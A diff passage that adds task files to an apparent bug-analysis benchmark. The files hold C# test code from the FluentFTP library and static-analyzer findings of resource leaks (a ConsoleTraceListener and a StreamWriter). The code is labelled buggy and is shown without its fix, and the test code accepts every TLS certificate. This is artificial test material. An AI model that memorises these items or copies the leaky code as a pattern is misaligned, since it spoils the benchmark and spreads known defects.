+                byte[] buf = new byte[8192];
+
+                try {
+                    while (s.Read(buf, 0, buf.Length) > 0) ;
+                }
+                finally {
+                    s.Close();
+                }
+            }
+        }
+
+        static void Delete(FtpClient cl) {
+            DeleteDirectory(cl, "/");
+        }
+
+        static void DeleteDirectory(FtpClient cl, string path) {
+            foreach (FtpListItem item in cl.GetListing(path)) {
+                if (item.Type == FtpFileSystemObjectType.File) {
+                    cl.DeleteFile(item.FullName);
+                }
+                else if (item.Type == FtpFileSystemObjectType.Directory) {
+                    DeleteDirectory(cl, item.FullName);
+                    cl.DeleteDirectory(item.FullName);
+                }
+            }
+        }
+
+        static void TestUTF8() {
+            // the following file name was reported in the discussions as having
+            // problems:
+            // https://netftp.codeplex.com/discussions/445090
+            string filename = "Verbundmörtel Zubehör + Technische Daten DE.pdf";
+
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "localhost";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.DataConnectionType = FtpDataConnectionType.PASV;
+                cl.InternetProtocolVersions = FtpIpVersion.ANY;
+
+                using (Stream ostream = cl.OpenWrite(filename)) {
+                    StreamWriter writer = new StreamWriter(filename);
+                    writer.WriteLine(filename);
+                    writer.Close();
+                }
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Diagnostics.ConsoleTraceListener::.ctor() at Line 23) of type System.Diagnostics.ConsoleTraceListener in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+Tests/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+faafd14da90cc56400155079a5dbe99c
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2031/instruction.md b/inferredbugs-2031/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2714f0e38a3264731c1a3be7bf28c739ad6bf04d
--- /dev/null
+++ b/inferredbugs-2031/instruction.md
@@ -0,0 +1,778 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FluentFTP
+**Bug ID:** 24
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net;
+using FluentFTP;
+using System.Threading;
+using System.Collections.Generic;
+using System.Text.RegularExpressions;
+using System.Linq;
+using System.Threading.Tasks;
+using System.IO.Compression;
+using System.Text;
+using FluentFTP.Proxy;
+
+namespace Tests {
+    /// <summary>
+    /// Torture test
+    /// </summary>
+    class Program {
+		static readonly string m_host = "ftptest";
+        static readonly string m_user = "ftptest";
+        static readonly string m_pass = "ftptest";
+
+        static void Main(string[] args) {
+            FtpTrace.FlushOnWrite = true;
+            FtpTrace.AddListener(new ConsoleTraceListener());
+
+            try {
+                /*foreach (int i in new int[] {
+                     (int)FtpDataConnectionType.EPSV,
+                     (int)FtpDataConnectionType.EPRT,
+                     (int)FtpDataConnectionType.PASV,
+                     (int)FtpDataConnectionType.PORT
+                 }) {
+                    using (FtpClient cl = new FtpClient()) {
+                        cl.Credentials = new NetworkCredential(m_user, m_pass);
+                        cl.Host = m_host;
+                        cl.EncryptionMode = FtpEncryptionMode.None;
+                        cl.ValidateCertificate += new FtpSslValidation(cl_ValidateCertificate);
+                        cl.DataConnectionType = (FtpDataConnectionType)i;
+                        //cl.Encoding = System.Text.Encoding.Default;
+                        cl.Connect();
+                        Upload(cl);
+                        Download(cl);
+                        Delete(cl);
+                    }
+                }*/
+
+                //StreamResponses();
+
+                //TestServer();
+
+                //TestManualEncoding();
+
+                //TestServer();
+
+                //TestDisposeWithMultipleThreads();
+
+                //TestMODCOMP_PWD_Parser();
+                //TestDispose();
+                //TestHash();
+
+                TestNameListing();
+                //TestOpenVMSParser();
+                // TestIISParser();
+                //GetMicrosoftFTPListing();
+                //TestReset();
+                //TestUTF8();
+
+                //TestDirectoryWithDots();
+
+                //TestUnixListParser();
+
+                // TestFileZillaKick();
+
+                //TestUnixList();
+                //TestNetBSDServer();
+
+                // TestConnectionFailure();
+
+                //TestGetObjectInfo();
+
+                //TestFtpPath();
+
+                //TestUnixListing();
+
+                TestListPath();
+
+                TestListPathWithHttp11Proxy();
+            }
+            catch (Exception ex) {
+                Console.WriteLine(ex.ToString());
+            }
+
+            Console.WriteLine("--DONE--");
+            Console.ReadKey();
+        }
+
+        static void TestListPathWithHttp11Proxy()
+        {
+            using (FtpClient cl = new FtpClientHttp11Proxy(new ProxyInfo { Host = "127.0.0.1", Port = 3128, })) // Credential = new NetworkCredential() 
+            {
+                Console.WriteLine("FTPClient::ConnectionType = '" + cl.ConnectionType + "'");
+
+                cl.Credentials = new NetworkCredential(m_user, m_pass);
+                cl.Host = m_host;
+                cl.ValidateCertificate += OnValidateCertificate;
+                cl.DataConnectionType = FtpDataConnectionType.PASV;
+                cl.Connect();
+
+                foreach (FtpListItem item in cl.GetListing(null, FtpListOption.SizeModify | FtpListOption.ForceNameList))
+                {
+                    Console.WriteLine(item.Modified.Kind);
+                    Console.WriteLine(item.Modified);
+                }
+            }
+        }
+
+        static void TestListPath() {
+            using(FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential(m_user, m_pass);
+                cl.Host = m_host;
+                cl.EncryptionMode = FtpEncryptionMode.None;
+
+                cl.GetListing();
+                Console.WriteLine("Path listing succeeded");
+                cl.GetListing(null, FtpListOption.NoPath);
+                Console.WriteLine("No path listing succeeded");
+            }
+        }
+
+        static void StreamResponses() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential(m_user, m_pass);
+                cl.Host = m_host;
+                cl.EncryptionMode = FtpEncryptionMode.None;
+                cl.ValidateCertificate += new FtpSslValidation(delegate(FtpClient control, FtpSslValidationEventArgs e) {
+                    e.Accept = true;
+                });
+
+                using (FtpDataStream s = (FtpDataStream)cl.OpenWrite("test.txt")) {
+                    FtpReply r = s.CommandStatus;
+
+                    Console.WriteLine();
+                    Console.WriteLine("Response to STOR:");
+                    Console.WriteLine("Code: {0}", r.Code);
+                    Console.WriteLine("Message: {0}", r.Message);
+                    Console.WriteLine("Informational: {0}", r.InfoMessages);
+
+                    r = s.Close();
+                    Console.WriteLine();
+                    Console.WriteLine("Response after close:");
+                    Console.WriteLine("Code: {0}", r.Code);
+                    Console.WriteLine("Message: {0}", r.Message);
+                    Console.WriteLine("Informational: {0}", r.InfoMessages);
+                }
+            }
+        }
+
+        static void TestUnixListing() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "ftptest";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+
+                if (!cl.FileExists("test.txt")) {
+                    using (Stream s = cl.OpenWrite("test.txt")) {
+                        s.Close();
+                    }
+                }
+
+                foreach (FtpListItem i in cl.GetListing(null, FtpListOption.ForceList)) {
+                    Console.WriteLine(i);
+                }
+            }
+        }
+
+        static void TestFtpPath() {
+            string path = "/home/sigurdhj/errors/16.05.2014/asdasd/asd asd asd aa asd/Kooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo::asdasd";
+
+            Console.WriteLine(path.GetFtpDirectoryName());
+            Console.WriteLine("./foobar".GetFtpDirectoryName());
+            Console.WriteLine("foobar".GetFtpDirectoryName());
+            Console.WriteLine(path.GetFtpFileName());
+            Console.WriteLine("/foo/bar".GetFtpFileName());
+            Console.WriteLine("./foo/bar".GetFtpFileName());
+            Console.WriteLine("./bar".GetFtpFileName());
+            Console.WriteLine("/bar".GetFtpFileName());
+            Console.WriteLine("bar".GetFtpFileName());
+        }
+
+        static void TestGetObjectInfo() {
+            using (FtpClient cl = new FtpClient()) {
+                FtpListItem item;
+
+                cl.Host = "ftptest";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Encoding = Encoding.Default;
+
+                item = cl.GetObjectInfo("/Examples/OpenRead.cs");
+                Console.WriteLine(item.ToString());
+            }
+        }
+
+		static void TestManualEncoding() {
+			using (FtpClient cl = new FtpClient()) {
+                cl.Host = "ftptest";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Encoding = Encoding.Default;
+
+                using (Stream s = cl.OpenWrite("test.txt")) {
+                    s.Close();
+                }
+            }
+        }
+
+        static void TestServer() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "ftptest";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.EncryptionMode = FtpEncryptionMode.Explicit;
+				cl.ValidateCertificate += (control, e) => {
+                    e.Accept = true;
+                };
+
+                foreach (FtpListItem i in cl.GetListing("/")) {
+                    Console.WriteLine(i.FullName);
+                }
+            }
+        }
+
+        static void TestServerDownload(FtpClient client, string path) {
+            foreach (FtpListItem i in client.GetListing(path)) {
+                switch (i.Type) {
+                    case FtpFileSystemObjectType.Directory:
+                        TestServerDownload(client, i.FullName);
+                        break;
+                    case FtpFileSystemObjectType.File:
+                        using (Stream s = client.OpenRead(i.FullName)) {
+                            byte[] b = new byte[8192];
+                            int read = 0;
+                            long total = 0;
+
+                            try {
+                                while ((read = s.Read(b, 0, b.Length)) > 0) {
+                                    total += read;
+
+                                    Console.Write("\r{0}/{1} {2:p}          ",
+                                        total, s.Length, (double)total / (double)s.Length);
+                                }
+
+                                Console.Write("\r{0}/{1} {2:p}       ",
+                                        total, s.Length, (double)total / (double)s.Length);
+                            }
+                            finally {
+                                Console.WriteLine();
+                            }
+                        }
+                        break;
+                }
+            }
+        }
+
+        static void cl_ValidateCertificate(FtpClient control, FtpSslValidationEventArgs e) {
+            e.Accept = true;
+        }
+
+        static void TestDisposeWithMultipleThreads() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "ftp.netbsd.org";
+                cl.Credentials = new NetworkCredential("ftp", "ftp");
+
+                Thread t1 = new Thread(() => {
+                    cl.GetListing();
+                });
+
+                Thread t2 = new Thread(() => {
+                    cl.Dispose();
+                });
+
+                t1.Start();
+                Thread.Sleep(500);
+                t2.Start();
+
+                t1.Join();
+                t2.Join();
+            }
+        }
+
+        static void TestConnectionFailure() {
+            try {
+                using (FtpClient cl = new FtpClient()) {
+                    cl.Credentials = new NetworkCredential("ftp", "ftp");
+                    cl.Host = "somefakehost";
+                    cl.ConnectTimeout = 5000;
+                    cl.Connect();
+                }
+            }
+            catch (Exception e) {
+                Console.WriteLine("Caught connection faillure: {0}", e.Message);
+            }
+        }
+
+        static void TestNetBSDServer() {
+            using (FtpClient client = new FtpClient()) {
+                client.Credentials = new NetworkCredential("ftp", "ftp");
+                client.Host = "ftp.netbsd.org";
+
+                foreach (FtpListItem item in client.GetListing(null,
+                    FtpListOption.ForceList | FtpListOption.Modify | FtpListOption.DerefLinks)) {
+                    Console.WriteLine(item);
+
+                    if (item.Type == FtpFileSystemObjectType.Link && item.LinkObject != null)
+                        Console.WriteLine(item.LinkObject);
+                }
+            }
+        }
+
+        static void TestUnixList() {
+            using (FtpClient client = new FtpClient()) {
+                client.Credentials = new NetworkCredential("ftptest", "ftptest");
+                client.Host = "ftptest";
+                foreach (FtpListItem i in client.GetListing(null, FtpListOption.ForceList | FtpListOption.Recursive)) {
+                    Console.WriteLine(i.FullName);
+                }
+            }
+        }
+
+        static void TestFileZillaKick() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "localhost";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.EnableThreadSafeDataConnections = false;
+
+                if (cl.FileExists("TestFile.txt"))
+                    cl.DeleteFile("TestFile.txt");
+
+                try {
+                    Stream s = cl.OpenWrite("TestFile.txt");
+                    for (int i = 0; true; i++) {
+                        s.WriteByte((byte)i);
+                        Thread.Sleep(100);
+                    }
+
+                    //s.Close();
+                }
+                catch (FtpCommandException ex) {
+                    Console.WriteLine("Exception caught!");
+                    Console.WriteLine(ex.ToString());
+                }
+            }
+        }
+
+        static void TestUnixListParser() {
+            string[] sample = new string[] {
+                "drwxr-xr-x   7  user1 user1       512 Sep 27  2011 .",
+                "drwxr-xr-x  31 user1  user1      1024 Sep 27  2011 ..",
+                "lrwxrwxrwx   1 user1  user1      9 Sep 27  2011 data.0000 -> data.6460",
+                "drwxr-xr-x  10 user1  user1      512 Jun 29  2012 data.6460",
+                "lrwxrwxrwx   1 user1 user1       8 Sep 27  2011 sys.0000 -> sys.6460",
+                "drwxr-xr-x 133 user1  user1     4096 Jun 25 16:26 sys.6460"
+            };
+
+            foreach (string s in sample) {
+                FtpListItem item = FtpListItem.Parse("/", s, FtpCapability.NONE);
+
+                if (item != null)
+                    Console.WriteLine(item);
+            }
+        }
+
+        static void TestDirectoryWithDots() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+                // FTP server set to timeout after 5 seconds.
+                //Thread.Sleep(6000);
+
+                cl.GetListing("Test.Directory", FtpListOption.ForceList);
+                cl.SetWorkingDirectory("Test.Directory");
+                cl.GetListing(null, FtpListOption.ForceList);
+            }
+        }
+
+        static void TestDispose() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+                // FTP server set to timeout after 5 seconds.
+                //Thread.Sleep(6000);
+
+                foreach (FtpListItem item in cl.GetListing()) {
+
+                }
+            }
+        }
+
+        static void TestHash() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+
+                Console.WriteLine("Supported HASH algorithms: {0}", cl.HashAlgorithms);
+                Console.WriteLine("Current HASH algorithm: {0}", cl.GetHashAlgorithm());
+
+                foreach (FtpHashAlgorithm alg in Enum.GetValues(typeof(FtpHashAlgorithm))) {
+                    if (alg != FtpHashAlgorithm.NONE && cl.HashAlgorithms.HasFlag(alg)) {
+                        FtpHash hash = null;
+
+                        cl.SetHashAlgorithm(alg);
+                        hash = cl.GetHash("LICENSE.TXT");
+
+                        if (hash.IsValid) {
+                            Debug.Assert(hash.Verify(@"C:\FTPTEST\LICENSE.TXT"), "The computed hash didn't match or the hash object was invalid!");
+                        }
+                    }
+                }
+            }
+        }
+
+        static void TestReset() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+
+                using (Stream istream = cl.OpenRead("LICENSE.TXT", 10)) {
+                    istream.Close();
+                }
+            }
+        }
+
+        static void GetMicrosoftFTPListing() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftp", "ftp");
+                cl.Host = "ftp.microsoft.com";
+                cl.Connect();
+
+                Console.WriteLine(cl.Capabilities);
+
+                foreach (FtpListItem item in cl.GetListing(null, FtpListOption.Modify)) {
+                    Console.WriteLine(item.Modified);
+                }
+            }
+        }
+
+        static void TestIISParser() {
+            string[] sample = new string[] {
+                "03-07-13  10:02AM                  901 File01.xml",
+                "03-07-13  10:03AM                  921 File02.xml",
+                "03-07-13  10:04AM                  904 File03.xml",
+                "03-07-13  10:04AM                  912 File04.xml",
+                "03-08-13  11:10AM                  912 File05.xml",
+                "03-15-13  02:38PM                  912 File06.xml",
+                "03-07-13  10:16AM                  909 File07.xml",
+                "03-07-13  10:16AM                  899 File08.xml",
+                "03-08-13  10:22AM                  904 File09.xml",
+                "03-25-13  07:27AM                  895 File10.xml",
+                "03-08-13  10:22AM                 6199 File11.txt",
+                "03-25-13  07:22AM                31444 File12.txt",
+                "03-25-13  07:24AM                24537 File13.txt"
+            };
+
+            foreach (string s in sample) {
+                FtpListItem item = FtpListItem.Parse("/", s, 0);
+
+                if (item != null) {
+                    Console.WriteLine(item.Modified);
+                    //Console.WriteLine(item);
+                }
+            }
+        }
+
+        static void TestOpenVMSParser() {
+            string[] sample = new string[] {
+                "411_4114.TXT;1             11  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CC_NAME_4114.TXT;1    30  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CC_NUM_4114.TXT;1     30  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CELL_NAME_4114.TXT;1 113  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CELL_NUM_4114.TXT;1  113  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "AGCY_BUDG_4114.TXT;1      63  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "CELL_SUMM_4114.TXT;1     125  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "CELL_SUMM_CHART_4114.PDF;2 95  21-MAR-2012 10:58 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114.TXT;1          17472  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_000.TXT;1        777  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_001.TXT;1        254  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_003.TXT;1         21  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_006.TXT;1         22  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_101.TXT;1        431  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_121.TXT;1       2459  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_124.TXT;1       4610  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_200.TXT;1        936  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "TEL_4114.TXT;1           1178  21-MAR-2012 15:19 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)"
+            };
+
+            foreach (string s in sample) {
+                FtpListItem item = FtpListItem.Parse("disk$user520:[4114.2012.Jan]", s, 0);
+
+                if (item != null) {
+                    Console.WriteLine(item.Modified);
+                    //Console.WriteLine(item);
+                }
+            }
+        }
+
+        static void TestMODCOMP_PWD_Parser() {
+            string response = "PWD = ~TNA=AMP,VNA=VOL03,FNA=U-ED-B2-USL";
+            Match m;
+
+            if ((m = Regex.Match(response, "PWD = (?<pwd>.*)")).Success)
+                Console.WriteLine("PWD: {0}", m.Groups["pwd"].Value);
+        }
+
+        static void TestNameListing() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential(m_user, m_pass);
+                cl.Host = "127.0.0.1";
+                cl.ValidateCertificate += OnValidateCertificate;
+                cl.DataConnectionType = FtpDataConnectionType.PASV;
+                //cl.EncryptionMode = FtpEncryptionMode.Explicit;
+                //cl.SocketPollInterval = 5000;
+                cl.Connect();
+
+                //Console.WriteLine("Sleeping for 10 seconds to force timeout.");
+                //Thread.Sleep(10000);
+
+                foreach (FtpListItem item in cl.GetListing(null, FtpListOption.SizeModify | FtpListOption.ForceNameList)) {
+                    Console.WriteLine(item.Modified.Kind);
+                    Console.WriteLine(item.Modified);
+                }
+            }
+        }
+
+        static FtpClient Connect() {
+            List<Thread> threads = new List<Thread>();
+            FtpClient cl = new FtpClient();
+
+            cl.ValidateCertificate += OnValidateCertificate;
+            //cl.EncryptionMode = FtpEncryptionMode.Explicit;
+
+            for (int i = 0; i < 10; i++) {
+                int count = i;
+
+                Thread t = new Thread(new ThreadStart(delegate() {
+                    cl.Credentials = new NetworkCredential(m_user, m_pass);
+                    cl.Host = m_host;
+                    cl.Connect();
+
+                    for (int j = 0; j < 10; j++)
+                        cl.Execute("NOOP");
+
+                    if (count % 2 == 0)
+                        cl.Disconnect();
+                }));
+
+                t.Start();
+                threads.Add(t);
+            }
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+                threads.RemoveAt(0);
+            }
+
+            return cl;
+        }
+
+        static void OnValidateCertificate(FtpClient control, FtpSslValidationEventArgs e) {
+            e.Accept = true;
+        }
+
+        static void Upload(FtpClient cl) {
+            string root = @"..\..\..";
+            List<Thread> threads = new List<Thread>();
+
+            foreach (string s in Directory.GetFiles(root, "*", SearchOption.AllDirectories)) {
+                string file = s;
+
+                if (file.Contains(@"\.git"))
+                    continue;
+
+                Thread t = new Thread(new ThreadStart(delegate() {
+                    DoUpload(cl, root, file);
+                }));
+
+                t.Start();
+                threads.Add(t);
+            }
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+                threads.RemoveAt(0);
+            }
+        }
+
+        static void DoUpload(FtpClient cl, string root, string s) {
+            FtpDataType type = FtpDataType.Binary;
+            string path = Path.GetDirectoryName(s).Replace(root, "");
+            string name = Path.GetFileName(s);
+
+            if (Path.GetExtension(s).ToLower() == ".cs" || Path.GetExtension(s).ToLower() == ".txt")
+                type = FtpDataType.ASCII;
+
+            if (!cl.DirectoryExists(path))
+                cl.CreateDirectory(path, true);
+            else if (cl.FileExists(string.Format("{0}/{1}", path, name)))
+                cl.DeleteFile(string.Format("{0}/{1}", path, name));
+
+            using (
+                Stream istream = new FileStream(s, FileMode.Open, FileAccess.Read),
+                        ostream = cl.OpenWrite(s.Replace(root, ""), type)) {
+                byte[] buf = new byte[8192];
+                int read = 0;
+
+                try {
+                    while ((read = istream.Read(buf, 0, buf.Length)) > 0) {
+                        ostream.Write(buf, 0, read);
+                    }
+                }
+                finally {
+                    ostream.Close();
+                    istream.Close();
+                }
+
+                if (cl.HashAlgorithms != FtpHashAlgorithm.NONE) {
+                    Debug.Assert(cl.GetHash(s.Replace(root, "")).Verify(s), "The computed hashes don't match!");
+                }
+            }
+
+            /*if (!cl.GetHash(s.Replace(root, "")).Verify(s))
+                throw new Exception("Hashes didn't match!");*/
+        }
+
+        static void Download(FtpClient cl) {
+            List<Thread> threads = new List<Thread>();
+
+            Download(threads, cl, "/");
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+
+                lock (threads) {
+                    threads.RemoveAt(0);
+                }
+            }
+        }
+
+        static void Download(List<Thread> threads, FtpClient cl, string path) {
+            foreach (FtpListItem item in cl.GetListing(path)) {
+                if (item.Type == FtpFileSystemObjectType.Directory)
+                    Download(threads, cl, item.FullName);
+                else if (item.Type == FtpFileSystemObjectType.File) {
+                    string file = item.FullName;
+
+                    Thread t = new Thread(new ThreadStart(delegate() {
+                        DoDownload(cl, file);
+                    }));
+
+                    t.Start();
+
+                    lock (threads) {
+                        threads.Add(t);
+                    }
+                }
+            }
+        }
+
+        static void DoDownload(FtpClient cl, string file) {
+            using (Stream s = cl.OpenRead(file)) {
+                byte[] buf = new byte[8192];
+
+                try {
+                    while (s.Read(buf, 0, buf.Length) > 0) ;
+                }
+                finally {
+                    s.Close();
+                }
+            }
+        }
+
+        static void Delete(FtpClient cl) {
+            DeleteDirectory(cl, "/");
+        }
+
+        static void DeleteDirectory(FtpClient cl, string path) {
+            foreach (FtpListItem item in cl.GetListing(path)) {
+                if (item.Type == FtpFileSystemObjectType.File) {
+                    cl.DeleteFile(item.FullName);
+                }
+                else if (item.Type == FtpFileSystemObjectType.Directory) {
+                    DeleteDirectory(cl, item.FullName);
+                    cl.DeleteDirectory(item.FullName);
+                }
+            }
+        }
+
+        static void TestUTF8() {
+            // the following file name was reported in the discussions as having
+            // problems:
+            // https://netftp.codeplex.com/discussions/445090
+            string filename = "Verbundmörtel Zubehör + Technische Daten DE.pdf";
+
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "localhost";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.DataConnectionType = FtpDataConnectionType.PASV;
+                cl.InternetProtocolVersions = FtpIpVersion.ANY;
+
+                using (Stream ostream = cl.OpenWrite(filename)) {
+                    StreamWriter writer = new StreamWriter(filename);
+                    writer.WriteLine(filename);
+                    writer.Close();
+                }
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Diagnostics.ConsoleTraceListener::.ctor() at Line 26) of type System.Diagnostics.ConsoleTraceListener in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+FluentFTP.Tests/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+9ca612679b2746d0b6dc56f68f386507
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2036/instruction.md b/inferredbugs-2036/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a23027d3259a625ef5c247a9d0ceb98b85593447
--- /dev/null
+++ b/inferredbugs-2036/instruction.md
@@ -0,0 +1,141 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FluentFTP
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Diagnostics;
+using System.IO;
+
+namespace System.Net.FtpClient {
+    /// <summary>
+    /// Adds a trace lister for System.Net.FtpClient output 
+    /// </summary>
+    internal class FtpTraceListener : TraceListener, IDisposable {
+        Stream _ostream = null;
+        public Stream OutputStream {
+            get { return _ostream; }
+            set { _ostream = value; this.Writer = null; }
+        }
+
+        StreamWriter _writer = null;
+        protected StreamWriter Writer {
+            get {
+                if (_writer == null && this.OutputStream != null) {
+                    _writer = new StreamWriter(this.OutputStream, System.Text.Encoding.Default);
+                }
+
+                return _writer;
+            }
+            private set {
+                _writer = value;
+            }
+        }
+
+        bool _flushOnWrite = false;
+        public bool FlushOnWrite {
+            get { return _flushOnWrite; }
+            set { _flushOnWrite = value; }
+        }
+
+        public override void Write(string message) {
+#if DEBUG
+            Debug.WriteLine(message);
+#endif
+
+            if (this.Writer != null) {
+                lock (this.Writer) {
+                    this.Writer.Write(message);
+
+                    if (this.FlushOnWrite) {
+                        this.Writer.Flush();
+                    }
+                }
+            }
+        }
+
+        public override void WriteLine(string message) {
+#if DEBUG
+            Debug.WriteLine(message);
+#endif
+
+            if (this.Writer != null) {
+                lock (this.Writer) {
+                    this.Writer.WriteLine(message);
+
+                    if (this.FlushOnWrite) {
+                        this.Writer.Flush();
+                    }
+                }
+            }
+        }
+
+        public new void Dispose() {
+            if (this.Writer != null) {
+                this.Writer.Dispose();
+                this.Writer = null;
+            }
+
+            this.OutputStream = null;
+            base.Dispose();
+        }
+
+        public FtpTraceListener()
+            : base("FtpTraceListener") {
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource %1 of type System.IO.StreamWriter, Leaked resource (&%1) of type System.IO.StreamWriter, Leaked resource (returned from System.IO.StreamWriter System.Net.FtpClient.FtpTraceListener::get_Writer() at Line 46) of type System.IO.StreamWriter, Leaked resource (&%1) of type System.IO.StreamWriter, Leaked resource (returned from System.IO.StreamWriter System.Net.FtpClient.FtpTraceListener::get_Writer() at Line 43) of type System.IO.StreamWriter, Leaked resource (returned from System.IO.StreamWriter System.Net.FtpClient.FtpTraceListener::get_Writer() at Line 41) of type System.IO.StreamWriter in method "Void FtpTraceListener.Write(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void FtpTraceListener.Write(String)
+
+### File:
+FtpTraceListener.cs
+
+### Key:
+FtpTraceListener.cs|Write|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f67898b6d67c1fe12e5819c25905e87a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
